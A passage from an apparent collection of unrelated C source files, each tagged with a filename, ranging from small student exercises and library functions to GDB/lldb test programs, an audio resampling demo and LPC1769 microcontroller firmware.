if (start == end) printf("%s\n", str);
else {
for (i = start; i <= end; i++) {
swap((str+start), (str+i));
permute(str, start+1, end);
swap((str+start), (str+i));
}
}
}
void main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage %s <string>", argv[0]);
}
else {
char* str = argv[1];
int len = strlen(str);
int end = len-1;
permute(str, 0, end);
}
}
|
the_stack_data/407505.c
|
/*
* Given an integer, return its base 7 string representation.
*
* Example 1:
* Input: 100
* Output: "202"
* Example 2:
* Input: -7
* Output: "-10"
*
* Note: The input will be in range of [-1e7, 1e7].
* TODO:DOC
* TODO:TESTS
*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>
#include<stdbool.h>
#define MAX_LEN 20
void reverse_str_section (char* ch, int low, int high)
{
if (!ch || (low < 0) || (high < 0) || (low > high)) {
return;
}
while (low < high) {
if (ch[low] != ch[high]) {
ch[low] ^= ch[high];
ch[high] ^= ch[low];
ch[low] ^= ch[high];
}
++low;
--high;
}
}
/*
* This function converts an integer to base seven.
*/
char* convertToBase7(int num)
{
char* base7_str;
int index, rem;
bool if_negative;
if (num < 0) {
num *= -1;
if_negative = true;
} else {
if_negative = false;
}
base7_str = (char*)malloc(sizeof(char) * MAX_LEN);
if (!base7_str) {
return(NULL);
}
memset(base7_str, 0, sizeof(char) * MAX_LEN);
index = 0;
do {
rem = num % 7;
num /= 7;
base7_str[index] = '0' + rem;
++index;
} while (num > 0);
if (if_negative) {
base7_str[index] = '-';
++index;
}
reverse_str_section(base7_str, 0, index - 1);
return(base7_str);
}
int main ()
{
assert(!strcmp("0", convertToBase7(0)));
assert(!strcmp("1", convertToBase7(1)));
assert(!strcmp("-1", convertToBase7(-1)));
assert(!strcmp("10", convertToBase7(7)));
assert(!strcmp("202", convertToBase7(100)));
assert(!strcmp("150666343", convertToBase7(10000000)));
assert(!strcmp("-150666343", convertToBase7(-10000000)));
return(0);
}
|
the_stack_data/86465.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2015-2021 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <stdlib.h>
void
shlib_second (int dummy)
{ /* second-retry */
abort (); /* second-hit */
}
void
shlib_first (void)
{ /* first-retry */
shlib_second (0); /* first-hit */
}
|
the_stack_data/165765386.c
|
/*
** my_strncat.c for my_strncat.c in /u/all/strzel_a/cu/rendu/lib/my
**
** Made by alexandre strzelewicz
** Login <[email protected]>
**
** Started on Wed Oct 14 10:52:16 2009 alexandre strzelewicz
** Last update Sun Apr 25 20:53:30 2010 dimitri jorge
*/
#include <unistd.h>
#include <stdlib.h>
char *my_strncat(char *str1, char *str2, int n)
{
int i;
int j;
i = 0;
j = 0;
while (str1[i])
i++;
while (str2[j])
{
if (j == n)
{
str1[i] = '\0';
return (str1);
}
str1[i++] = str2[j++];
}
str1[i] = '\0';
return (str1);
}
|
the_stack_data/41665.c
|
#include <term.h>
#define max_attributes tigetnum("ma")
/** maximum combined video attributes terminal can display **/
/*
TERMINFO_NAME(ma)
TERMCAP_NAME(ma)
XOPEN(400)
*/
|
the_stack_data/187644342.c
|
/*
** Copyright (c) 2002-2016, Erik de Castro Lopo <[email protected]>
** All rights reserved.
**
** This code is released under 2-clause BSD license. Please see the
** file at : https://github.com/libsndfile/libsamplerate/blob/master/COPYING
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <stdlib.h>
#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif
#include <string.h>
#include <math.h>
#if (HAVE_SNDFILE)
#include <samplerate.h>
#include <sndfile.h>
#include "audio_out.h"
#define ARRAY_LEN(x) ((int) (sizeof (x) / sizeof ((x) [0])))
#define BUFFER_LEN 4096
#define VARISPEED_BLOCK_LEN 64
#define MIN(a,b) ((a) < (b) ? (a) : (b))
#define SRC_MAGIC ((int) ('S' << 16) + ('R' << 8) + ('C'))
#define SNDFILE_MAGIC ((int) ('s' << 24) + ('n' << 20) + ('d' << 16) + ('f' << 12) + ('i' << 8) + ('l' << 4) + 'e')
#ifndef M_PI
#define M_PI 3.14159265358979323846264338
#endif
typedef struct
{ int magic ;
SNDFILE *sndfile ;
SF_INFO sfinfo ;
float buffer [BUFFER_LEN] ;
} SNDFILE_CB_DATA ;
typedef struct
{ int magic ;
SNDFILE_CB_DATA sf ;
int freq_point ;
SRC_STATE *src_state ;
} SRC_CB_DATA ;
static int varispeed_get_data (SRC_CB_DATA *data, float *samples, int frames) ;
static void varispeed_play (const char *filename, int converter) ;
static long src_input_callback (void *cb_data, float **data) ;
int
main (int argc, char *argv [])
{ const char *cptr, *progname, *filename ;
int k, converter ;
converter = SRC_SINC_FASTEST ;
progname = argv [0] ;
if ((cptr = strrchr (progname, '/')) != NULL)
progname = cptr + 1 ;
if ((cptr = strrchr (progname, '\\')) != NULL)
progname = cptr + 1 ;
printf ("\n"
" %s\n"
"\n"
" This is a demo program which plays the given file at a slowly \n"
" varying speed. Lots of fun with drum loops and full mixes.\n"
"\n"
" It uses Secret Rabbit Code (aka libsamplerate) to perform the \n"
" vari-speeding and libsndfile for file I/O.\n"
"\n", progname) ;
if (argc == 2)
filename = argv [1] ;
else if (argc == 4 && strcmp (argv [1], "-c") == 0)
{ filename = argv [3] ;
converter = atoi (argv [2]) ;
}
else
{ printf (" Usage :\n\n %s [-c <number>] <input file>\n\n", progname) ;
puts (
" The optional -c argument allows the converter type to be chosen from\n"
" the following list :"
"\n"
) ;
for (k = 0 ; (cptr = src_get_name (k)) != NULL ; k++)
printf (" %d : %s\n", k, cptr) ;
puts ("") ;
exit (1) ;
} ;
varispeed_play (filename, converter) ;
return 0 ;
} /* main */
/*==============================================================================
*/
static void
varispeed_play (const char *filename, int converter)
{ SRC_CB_DATA data ;
AUDIO_OUT *audio_out ;
int error ;
memset (&data, 0, sizeof (data)) ;
data.magic = SRC_MAGIC ;
data.sf.magic = SNDFILE_MAGIC ;
if ((data.sf.sndfile = sf_open (filename, SFM_READ, &data.sf.sfinfo)) == NULL)
{ puts (sf_strerror (NULL)) ;
exit (1) ;
} ;
/* Initialize the sample rate converter. */
if ((data.src_state = src_callback_new (src_input_callback, converter, data.sf.sfinfo.channels, &error, &data.sf)) == NULL)
{ printf ("\n\nError : src_new() failed : %s.\n\n", src_strerror (error)) ;
exit (1) ;
} ;
printf (
" Playing : %s\n"
" Converter : %s\n"
"\n"
" Press <control-c> to exit.\n"
"\n",
filename, src_get_name (converter)) ;
if ((audio_out = audio_open (data.sf.sfinfo.channels, data.sf.sfinfo.samplerate)) == NULL)
{ printf ("\n\nError : audio_open () failed.\n") ;
exit (1) ;
} ;
/* Pass the data and the callbacl function to audio_play */
audio_play ((get_audio_callback_t) varispeed_get_data, audio_out, &data) ;
/* Cleanup */
audio_close (audio_out) ;
sf_close (data.sf.sndfile) ;
src_delete (data.src_state) ;
} /* varispeed_play */
static long
src_input_callback (void *cb_data, float **audio)
{ SNDFILE_CB_DATA * data = (SNDFILE_CB_DATA *) cb_data ;
const int input_frames = ARRAY_LEN (data->buffer) / data->sfinfo.channels ;
int read_frames ;
if (data->magic != SNDFILE_MAGIC)
{ printf ("\n\n%s:%d Eeeek, something really bad happened!\n", __FILE__, __LINE__) ;
exit (1) ;
} ;
for (read_frames = 0 ; read_frames < input_frames ; )
{ sf_count_t position ;
read_frames += (int) sf_readf_float (data->sndfile, data->buffer + read_frames * data->sfinfo.channels, input_frames - read_frames) ;
position = sf_seek (data->sndfile, 0, SEEK_CUR) ;
if (position < 0 || position == data->sfinfo.frames)
sf_seek (data->sndfile, 0, SEEK_SET) ;
} ;
*audio = & (data->buffer [0]) ;
return input_frames ;
} /* src_input_callback */
/*==============================================================================
*/
static int
varispeed_get_data (SRC_CB_DATA *data, float *samples, int out_frames)
{ float *output ;
int rc, out_frame_count ;
if (data->magic != SRC_MAGIC)
{ printf ("\n\n%s:%d Eeeek, something really bad happened!\n", __FILE__, __LINE__) ;
exit (1) ;
} ;
for (out_frame_count = 0 ; out_frame_count < out_frames ; out_frame_count += VARISPEED_BLOCK_LEN)
{ double src_ratio = 1.0 - 0.5 * sin (data->freq_point * 2 * M_PI / 20000) ;
data->freq_point ++ ;
output = samples + out_frame_count * data->sf.sfinfo.channels ;
if ((rc = src_callback_read (data->src_state, src_ratio, VARISPEED_BLOCK_LEN, output)) < VARISPEED_BLOCK_LEN)
{ printf ("\nError : src_callback_read short output (%d instead of %d)\n\n", rc, VARISPEED_BLOCK_LEN) ;
exit (1) ;
} ;
} ;
return out_frames ;
} /* varispeed_get_data */
/*==============================================================================
*/
#else /* (HAVE_SNFILE == 0) */
/* Alternative main function when libsndfile is not available. */
int
main (void)
{ puts (
"\n"
"****************************************************************\n"
" This example program was compiled without libsndfile \n"
" (http://www.zip.com.au/~erikd/libsndfile/).\n"
" It is therefore completely broken and non-functional.\n"
"****************************************************************\n"
"\n"
) ;
return 0 ;
} /* main */
#endif
|
the_stack_data/126704280.c
|
// Copyright (c) 2015 Nuxi, https://nuxi.nl/
//
// SPDX-License-Identifier: BSD-2-Clause
#define _CLOUDLIBC_UNSAFE_STRING_FUNCTIONS
#include <wchar.h>
wchar_t *wcscat(wchar_t *restrict ws1, const wchar_t *restrict ws2) {
wchar_t *ws = ws1;
while (*ws != L'\0')
++ws;
for (;;) {
*ws++ = *ws2;
if (*ws2++ == L'\0')
return ws1;
}
}
|
the_stack_data/66123.c
|
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#define FALSE -1
#define TRUE 0
#define DEV_NAME "/dev/regopt"
int main(int argc, char **argv)
{
int fd;
unsigned long val[2];
if (argc < 3 || argc > 4)
{
printf("Usage : %s r addr \n", argv[0]);
printf("Usage : %s w addr value\n", argv[0]);
return FALSE;
}
fd = open(DEV_NAME, O_RDWR);
if (fd < 0)
{
printf("can't open!\n");
return FALSE;
}
val[0]=strtol(argv[2],NULL,16);
if(*(argv[1]) == 'w')
{
val[1]=strtol(argv[3],NULL,16);
write(fd, val, 8);
}
else if(*(argv[1]) == 'r')
{
read(fd, val, 8);
printf("add:0x%x = 0x%x\n", val[0], val[1]);
}
close(fd);
return 0;
}
|
the_stack_data/168893023.c
|
#include <stdio.h>
#include <stdlib.h>
#define OP_ADD '+'
#define OP_SUB '-'
#define OP_MUL '*'
#define OP_DIV '/'
int compute_add(char *expr)
{
int sum = 0;
while (*expr != ')')
{
if (*expr == ' ')
{
expr++;
continue;
}
int m = 0;
sscanf(expr++, "%d", &m);
sum += m;
}
return sum;
}
int compute_product(char *expr)
{
int product = 1; // 1 is neutral for product
while (*expr != ')')
{
if (*expr == ' ')
{
expr++;
continue;
}
int m = 0;
sscanf(expr++, "%d", &m);
product *= m;
}
return product;
}
int compute_div(char *expr)
{
int m = 0;
int n = 0;
while (*(++expr) == ' ')
;
// first value found
sscanf(expr, "%d", &m);
++expr;
while (*(++expr) == ' ')
;
// second value found
sscanf(expr, "%d", &n);
return m / n;
}
char *read()
{
char *expr = malloc(256);
fgets(expr, 256, stdin);
return expr;
}
int eval(char *expr)
{
if (*(expr++) != '(')
{
printf("Error: must begin with a '(' \n");
return 0;
}
char op = *(expr++); // read the operator
int result = 0;
switch (op)
{
case OP_ADD:
result = compute_add(expr);
break;
case OP_MUL:
result = compute_product(expr);
break;
case OP_DIV:
result = compute_div(expr);
break;
default:
result = 0; // undefined operation
break;
}
return result;
}
int main(int argc, char *argv[])
{
while (1)
{
printf("-> %d", eval(read()));
}
return 0;
}
|
the_stack_data/789522.c
|
#ifdef STD_MSGS__STRING
#include "std_msgs__string.h"
#include <stdlib.h>
#include <string.h>
#include "utils.h"
#include "genmsg.h"
int serialize_std_msgs__string(char* const buf, const void* msg)
{
char* data = ((std_msgs__string*)msg)->data;
uint32_t len = strlen(data);
char* iter = buf;
tcpmsg_init(&iter);
tcpmsg_add_string(&iter, data, len);
tcpmsg_finalize(buf, iter - buf);
return iter-buf;
}
void* deserialize_std_msgs__string(char* const buf)
{
char* iter = buf;
//Read the package len
//int package_len = utils_get_int_from_bytes(iter, sizeof(int32_t));
iter += sizeof(int32_t);
std_msgs__string* msg =
(std_msgs__string*)malloc(sizeof(std_msgs__string));
// Read the length of the field
int field_len = utils_get_int_from_bytes(iter, sizeof(int32_t));
iter += sizeof(int32_t);
msg->data = (char*)calloc(sizeof(char), field_len + 1);
memcpy(msg->data, iter, field_len);
msg->data[field_len] = '\0';
return msg;
}
void free_std_msgs__string(void* msg)
{
if(((std_msgs__string*)msg)->data != NULL)
free(((std_msgs__string*)msg)->data);
if(msg != NULL) free(msg);
}
#endif
|
the_stack_data/231393193.c
|
#include <stdio.h>
// This simple program is to demonstrate the capability of the lldb command
// "breakpoint modify -i <count> breakpt-id" to set the number of times a
// breakpoint is skipped before stopping. Ignore count can also be set upon
// breakpoint creation by 'breakpoint set ... -i <count>'.
int a(int);
int b(int);
int c(int);
int a(int val)
{
if (val <= 1)
return b(val);
else if (val >= 3)
return c(val); // a(3) -> c(3) Find the call site of c(3).
return val;
}
int b(int val)
{
return c(val);
}
int c(int val)
{
return val + 3; // Find the line number of function "c" here.
}
int main (int argc, char const *argv[])
{
int A1 = a(1); // a(1) -> b(1) -> c(1)
printf("a(1) returns %d\n", A1);
int B2 = b(2); // b(2) -> c(2) Find the call site of b(2).
printf("b(2) returns %d\n", B2);
int A3 = a(3); // a(3) -> c(3) Find the call site of a(3).
printf("a(3) returns %d\n", A3);
int C1 = c(5); // Find the call site of c in main.
printf ("c(5) returns %d\n", C1);
return 0;
}
|
the_stack_data/104383.c
|
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdio.h>
int main()
{
key_t key = ftok("shmfile",65); // ftok to generate unique key
// shmget returns an identifier in shmid
int shmid = shmget(key,1024,0666|IPC_CREAT);
// shmat to attach to shared memory
char *str = (char*) shmat(shmid,(void*)0,0);
printf("Write Data : ");
scanf("%s",str);
printf("Data written in memory: %s\n",str);
shmdt(str); //detach from shared memory
return 0;
}
|
the_stack_data/84936.c
|
/**/
//**/
//**/
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
int main() {
int n, digit;
printf("Enter an integer > ");
scanf("%d", &n);
if (n==0){
printf("\n0");
printf("\nThat's all, have a nice day!\n");
return(0);
}
while (abs(n)>0){
if (n>0 || (n<0 && (n/10.0)> 10.0)){
digit = n % 10;
printf("\n%d", digit);
n= n/10.0;
}
else if(n<0 && (n/10.0)< 10.0){
digit = n % 10;
printf("\n%d", digit);
n= (n)/10.0;
}
}
//**/
printf("\nThat's all, have a nice day!\n");
return (0);
}
|
the_stack_data/1073027.c
|
/*
===============================================================================
Name : lpc1769.c
Author : $(author)
Version :
Copyright : $(copyright)
Description : main definition
===============================================================================
*/
// definizione registri QEI
#define FIO0DIR *(volatile unsigned long*) 0x2009C000
#define FIO0SET *(volatile unsigned long*) 0x2009C018
#define FIO0CLR *(volatile unsigned long*) 0x2009C01C
#define PCONP *(volatile unsigned long*) 0x400FC0C4
#define PINSEL3 *(volatile unsigned long*) 0x4002C00C
#define QEIPOS *(volatile unsigned long*) 0x400BC00C
#define QEIMAXPOS *(volatile unsigned long*) 0x400BC010
#define FILTER *(volatile unsigned long*) 0x400BC03C
#define QEICONF *(volatile unsigned long*) 0x400BC008
// definizione registri 7-segmenti
#define FIO2DIR *(volatile unsigned long*) 0x2009C040
#define FIO2SET *(volatile unsigned long*) 0x2009C058
#define FIO2CLR *(volatile unsigned long*) 0x2009C05C
#define FIO2PIN *(volatile unsigned long*) 0x2009C054
// registri System Tick Timer
#define STCTRL *(volatile unsigned long*) 0xE000E010
#define STRELOAD *(volatile unsigned long*) 0xE000E014
// frequenza di clock del processore ARM
#define CORE_CLK 96000000
// carica in SysTick Timer il valore di aggiornamento del 7-segmenti
#define SYSTICK_VAL CORE_CLK/100 // 1/100 di secondo
// definizioni bit 7-segmenti
// Nota bene: tutti i segnali di uscita sono attivi bassi
// quindi per accendere un LED bisogna impostare a livello logico basso l'output
// P2.0 Led A, P2.1 Led B, P2.2 Led C, P2.3 Led D, P2.4 Led E, P2.5 Led F, P2.6 Led G, P2.7 Led DP
// P2.10 abilita Cifra 1, P2.11 abilita Cifra 2
// funzione di attivazione dei LED corrispondenti alla cifra desiderata
void setDigits(char digit)
{
FIO2SET = 0xFF; // spegne tutti i LED del 7 segmenti
switch(digit)
{
case 0:
FIO2CLR = 0x3F; // LED A, B, C, D, E, F accesi
break;
case 1:
FIO2CLR = 0x06; // LED B, C accesi
break;
case 2:
FIO2CLR = 0x5B; // LED A, B, D, E, G accesi
break;
case 3:
FIO2CLR = 0x4F; // LED A, B, C, D, E, G accesi
break;
case 4:
FIO2CLR = 0x66; // LED B, C, F, G accesi
break;
case 5:
FIO2CLR = 0x6D; // LED A, C, D, F, G accesi
break;
case 6:
FIO2CLR = 0x7D; // LED A, C, D, E, F, G accesi
break;
case 7:
FIO2CLR = 0x07; // LED A, B, C accesi
break;
case 8:
FIO2CLR = 0x7F; // LED A, B, C, D, E, F, G accesi
break;
case 9:
FIO2CLR = 0x6F; // LED A, B, C, D, E, F accesi
break;
default: // valore impossibile
FIO2SET = 0xFF; // tutto spento
}
}
// Gestore di interrupt dal timer di sistema
// all'interno è realizzato sia l'incremento del numero a due cifre da visualizzare (ogni secondo)
// sia l'aggiornamento delle cifre che vengono accese in modo alternato (ogni centesimo di secondo)
void SysTick_Handler(void)
{
//static unsigned long counter = 0;
static int number = 0;
int digit;
number = QEIPOS/2; // carica il valore del contatore encoder nella variabile number
// lo switch rotativo fa contare 2 impulsi per ogni posizione fissa
if(FIO2PIN & 0x0400) // test sul pin P2.10 (cifra 1, più significativa)
{
// se entriamo qui vuol dire che la cifra 1 era spenta e la cifra 2 era accesa, quindi invertiamo
FIO2SET = 0x0800; // P2.11 alto => spegni cifra 2
digit = number/10; // calcolo cifra più significativa
if(digit==0) // scrive solo cifre diverse da zero
digit=-1; // forza la cancellazione della cifra più significativa con un valore impossibile
setDigits(digit);
FIO2CLR = 0x0400; // P2.10 basso => accendi cifra 1
}
else
{
// se entriamo qui vuol dire che la cifra 1 era accesa e la cifra 2 era spenta, quindi invertiamo
FIO2SET = 0x0400; // P2.10 alto => spegni cifra 1
digit = number%10; // calcolo cifra meno significativa
setDigits(digit);
FIO2CLR = 0x0800; // P2.11 basso => accendi cifra 2
}
}
int main(void) {
// Impostazioni QEI (Quadrature Encoder Interface)
PCONP |= 1<<18; // PCQEI=1: attiva alimentazione QEI
PINSEL3 = 0b010100000100000000; // Funzione MCI0(PhA), MCI1(PhB), MCI2(Idx) sui pin P1.20, P1.23, P1.24
QEIMAXPOS = 47; // Massimo valore di conteggio per l'encoder (dopo il contatore si azzera)
FILTER = (CORE_CLK/4)/1000; // Imposta il filtro digitale di ritardo per evitare false commutazioni
// Imposta GPIO da P2.0 a P2.7 e P2.10, P2.11 come output
FIO2DIR |= 0x0CFF;
// Imposta a livello logico alto tutti gli output (che sono in logica negata, quindi attivi bassi)
FIO2SET = 0x0CFF;
// Impostazioni System Tick Timer
STRELOAD = SYSTICK_VAL; // Carica il contatore per la frequenza di aggiornamento
STCTRL = 7; // Abilita il Timer, il suo interrupt, con clock interno
// Enter an infinite loop, just waiting for interrupt
while(1) {
__asm volatile ("wfi"); // Wait for interrupt
}
return 0 ;
}
|
the_stack_data/90765253.c
|
#include<stdio.h>
int main()
{
int a,b;
a=10;
b=20;
printf("Before swapping a is %d and b is %d",a,b);
a=a+b;
b=a-b;
a=a-b;
printf("\nAfter swapping a is %d and b is %d",a,b);
return 0;
}
|
the_stack_data/682804.c
|
extern __VERIFIER_nondet_int();
int main() {
int a = __VERIFIER_nondet_int();
int b = __VERIFIER_nondet_int();
if (a < 0) {
a = -a;
}
if (b < 0) {
b = -b;
}
if (a == 0) {
return a;
} else {
while (b != 0) {
if (b < 0) {
goto ERROR;
}
if (a > b) {
a = a - b;
} else {
if (a < 0) {
goto ERROR;
}
b = b - a;
}
}
return a;
}
ERROR:
return -1;
}
|
the_stack_data/48575150.c
|
int auto_split = 23;
|
the_stack_data/159515093.c
|
/*Exercise 3 - Repetition
Write a C program to calculate the sum of the numbers from 1 to n.
Where n is a keyboard input.
e.g.
n -> 100
sum = 1+2+3+....+ 99+100 = 5050
n -> 1-
sum = 1+2+3+...+10 = 55 */
#include <stdio.h>
int main() {
int n,i,sum=0;
printf("Input integer : ");
scanf("%d",&n);
for( i=1;i<=n;++i)
{
sum+=i;
}
printf("Sum of numbers=%d",sum);
return 0;
}
|
the_stack_data/34038.c
|
//Arthur Yan Merkle
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define FILE_PATH "./redesocial2.txt"
typedef struct Pessoa Pessoa;
struct Pessoa{
int id;
int idade;
int sexo;
};
//Função de criação da rede social
void criar_rede_social(unsigned int ***rede_social, unsigned int n){
unsigned int x, y;
(*rede_social) = (unsigned int **)malloc(sizeof(unsigned int *) * n);
for (x = 0; x < n; x++){
*((*rede_social) + x) = (unsigned int *)malloc(sizeof(unsigned int) * n);
for ( y = 0; y < n; y++){
*(*((*rede_social) + x) + y) = 0;
}
}
}
// Geração de números aleatórios
float num_random(){
return (float)((double)rand()) / RAND_MAX;
}
//Printa rede social formada
void printa_rede_social(unsigned int **rede_social, unsigned int n){
unsigned int x, y;
for ( x = 0; x < n; x++){
for ( y = 0; y < n; y++){
printf("%d", *(*(rede_social + x) + y));
}
printf("\n");
}
}
//Printar Pessoa
void printa_pessoa(Pessoa pessoa){
printf("Id: (%d) | idade: %d | sexo %d: ", pessoa.id, pessoa.idade, pessoa.sexo);
}
void printa_pessoas( Pessoa *pessoas, unsigned int n){
unsigned int x;
for (x = 0; x < n; x++){
printa_pessoa(*(pessoas + x));
}
}
//Printar pessoas com 30 anos ou mais
void printa_pessoas_com_30_ou_mais(Pessoa *pessoas, unsigned int n){
unsigned int x;
for ( x = 0; x < n; x++){
if ((pessoas + x) -> idade > 30){
printa_pessoa ( * (pessoas + x) );
}
}
}
//Conta o número de pessoas do sexo masculino e feminino
void printa_count_sexo_pessoas (Pessoa *pessoas, unsigned int n){
unsigned int x, f, m;
f = 0;
m = 0;
for (x = 0; x < n; x++){
if ((pessoas + x) -> sexo == 1){
f++;
} else{
m++;
}
}
printf("\tExistem %d mulheres e %d homens na lista de amigos\n ", f, m);
}
//Printa a rede social com todas as pessoas
void printa_rede_social_com_pessoas (unsigned int **rede_social, Pessoa *pessoas, unsigned int n){
printa_rede_social (rede_social, n);
printa_pessoas (pessoas, n);
}
//Envio de solicitação de amizade
void add_amizade (unsigned int **rede_social, unsigned int pos_x, unsigned int pos_y){
*(*(rede_social + pos_x) + pos_y) = 1;
*(*(rede_social + pos_y) + pos_x) = 1;
}
// Contador de amizades
void count_amizades ( unsigned int **rede_social, unsigned int n, unsigned int pessoa, unsigned *out){
if ( pessoa >= n){
return;
}
unsigned int y;
*out = 0;
for (y = 0; y < n; y++){
if (*(*(rede_social + pessoa) + y) && y != pessoa){
(*out) ++;
}
}
}
//Criação da rede social através de um arquivo
void criar_rede_social_de_um_arquivo (unsigned int ***rede_social, unsigned int n, const char *path){
unsigned int x, y;
int aux_c;
FILE *arq_read;
arq_read = fopen(path, "r");
criar_rede_social (rede_social, n);
x = 0;
y = 0;
unsigned int flags [] = {0, 0};
while (!feof (arq_read) ){
aux_c = fgetc (arq_read);
if ( aux_c == EOF){
continue;
} else if ( aux_c == '\n'){
flags[0] = 0;
} else if (!flags[0] && (char)aux_c == '|'){
flags[0] = 1;
} else if (flags [1] && (char)aux_c == ' '){
flags[1] = 0;
add_amizade (*rede_social, x, y);
y = 0;
} else if (flags[0] && (char)aux_c != '|' && (char)aux_c != ' '){
flags[1] = 1;
y *= 10;
y += aux_c - 48;
}
}
fclose(arq_read);
}
// Amizades em comum da rede social criada através do arquivo
void count_amizades_comum_do_arquivo (unsigned int pessoa_u,
unsigned int pessoa_v,
unsigned n, const char *path,
unsigned *out){
unsigned int y;
*out = 0;
unsigned int **rede_social;
criar_rede_social_de_um_arquivo (&rede_social, n, path);
for ( y = 0; y < n; y++){
if (*(*(rede_social + y) + pessoa_u) && *(*(rede_social + y) + pessoa_v) &&
y != pessoa_u && y != pessoa_v){
(*out) ++;
}
}
}
//Salvar a rede social em um arquivo
void salvar_rede_social_no_arquivo ( unsigned int **rede_social, unsigned int n, const char *path){
unsigned int x, y;
FILE *save_arq;
save_arq = fopen (path, "w");
if ( !save_arq ){
return;
}
for (x = 0; x < n; x ++){
fprintf(save_arq, "%u | ", x);
for ( y = 0; y < n; y++){
if (*(*(rede_social + x) + y)){
fprintf(save_arq, "%u | ", y);
}
}
fprintf(save_arq, "\n");
}
fclose(save_arq);
}
//Popular o vetor de pessoas
void populate_pessoas_vetor ( Pessoa *pessoas, unsigned int n){
unsigned int i;
for (i = 0; i < n; i++){
(pessoas + i) -> id = (int)i;
(pessoas + i) -> idade = (int)(num_random() * 80);
(pessoas + i) -> sexo = (int)(num_random() > 0.5 ? 1 : 0);
}
}
//Criação do vetor de pessoas
void criar_vetor_pessoas (Pessoa **pessoas, unsigned int n){
(*pessoas) = (Pessoa *)malloc(sizeof(Pessoa) * n);
}
//Popular a rede social
void populate_rede_social (unsigned int **rede_social, unsigned int n, float fator_p){
unsigned int i, j;
float random_num;
for (i = 0; i < n; i ++){
for ( j = 0; j < n; j++){
random_num = num_random();
if (random_num < fator_p){
add_amizade (rede_social, i, j);
}
}
}
}
//Coeficiente de aglomeração
float coeficiente_aglomero (unsigned int **rede_social, unsigned int n, unsigned int i){
float coefc;
unsigned int counter, N, u, aux;
counter = 0;
count_amizades(rede_social, n, i, &n);
for ( u = 0; u < n; u ++){
if (*(*(rede_social + i) + u)){
count_amizades_comum_do_arquivo (i, u, n, FILE_PATH, &aux);
counter += aux;
}
}
coefc = (float)counter / ((float)N * ((float)N - 1) / 2);
return coefc;
}
void desalocar_rede_social (unsigned int **rede_social, unsigned int n){
unsigned int x;
for ( x = 0; x < n; x++){
free (*(rede_social + x));
}
free (rede_social);
}
void desalocar_pessoas( Pessoa *pessoas, unsigned int n){
free(pessoas);
}
int main(int argc, char const *argv[]){
clock_t start_time, end_time;
setlocale(LC_ALL, "Portuguese");
srand( time (NULL));
unsigned int qtd_pessoas, cont_amizades;
// Fator de probabilidade de u ser amigo de v
float fat_p;
//Rede Social
unsigned int **rede_social;
//Vetor de pessoas
Pessoa *pessoas;
rede_social = NULL;
pessoas = NULL;
//Recebe quantidade de pessoas que terão na rede social e no vetor
do{
printf("Digite a quantidade de pessoas que estarão na rede social: ");
scanf("%d", &qtd_pessoas);
}while (qtd_pessoas <= 0);
//Recebe o fator p
do{
printf("Digite o fator p que populará a rede social: ");
scanf("%f", &fat_p);
}while (fat_p < 0 || fat_p > 1);
start_time = clock();
//Alocar a memória
criar_rede_social (&rede_social, qtd_pessoas);
criar_vetor_pessoas (&pessoas, qtd_pessoas);
//Popular a memória com dados
populate_rede_social (rede_social, qtd_pessoas, fat_p);
populate_pessoas_vetor (pessoas, qtd_pessoas);
//Chamar a função salvar rede social no arquivo
salvar_rede_social_no_arquivo(rede_social, qtd_pessoas, FILE_PATH);
count_amizades_comum_do_arquivo (5, 6, qtd_pessoas, FILE_PATH, &cont_amizades);
printf("%u e %u tem %u amigos em comum \n ", 5, 6, cont_amizades);
//
count_amizades (rede_social, qtd_pessoas, 5, &cont_amizades);
printf("%u tem %u amigos \n", 5, cont_amizades);
printa_rede_social_com_pessoas (rede_social, pessoas, qtd_pessoas);
printa_pessoas_com_30_ou_mais ( pessoas, qtd_pessoas);
printa_count_sexo_pessoas (pessoas, qtd_pessoas);
//Desalocar a rede social
desalocar_rede_social( rede_social, qtd_pessoas);
desalocar_pessoas ( pessoas, qtd_pessoas);
end_time = clock();
printf("O programa levou %lu segundos para executar. \n", (end_time - start_time) / CLOCKS_PER_SEC);
return 0;
}
|
the_stack_data/1142658.c
|
#include <stdio.h>
#include <string.h>
char s[2020];
int main(){
scanf(" %s", s);
printf("%c", s[1]);
return 0;
}
|
the_stack_data/154829278.c
|
#include <stdio.h>
int main()
{
/* Declaration of local variable */
int a;
/* initialization */
a = 7;
printf("value of a = % d\n", a);
return 0;
}
|
the_stack_data/243892356.c
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int i;
printf ("Insira um numero inteiro de 1 a 5\n");
scanf ("%i", &i);
switch (i) {
case 1:
printf ("primeiro\n");
break;
case 2:
printf("segundo\n");
break;
case 3:
printf("Terceiro\n");
break;
case 4:
printf("quarto\n");
break;
case 5:
printf("quinto");
break;
default:
printf("opcao nao valida");
break;
}
return 0;
}
|
the_stack_data/864449.c
|
/* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
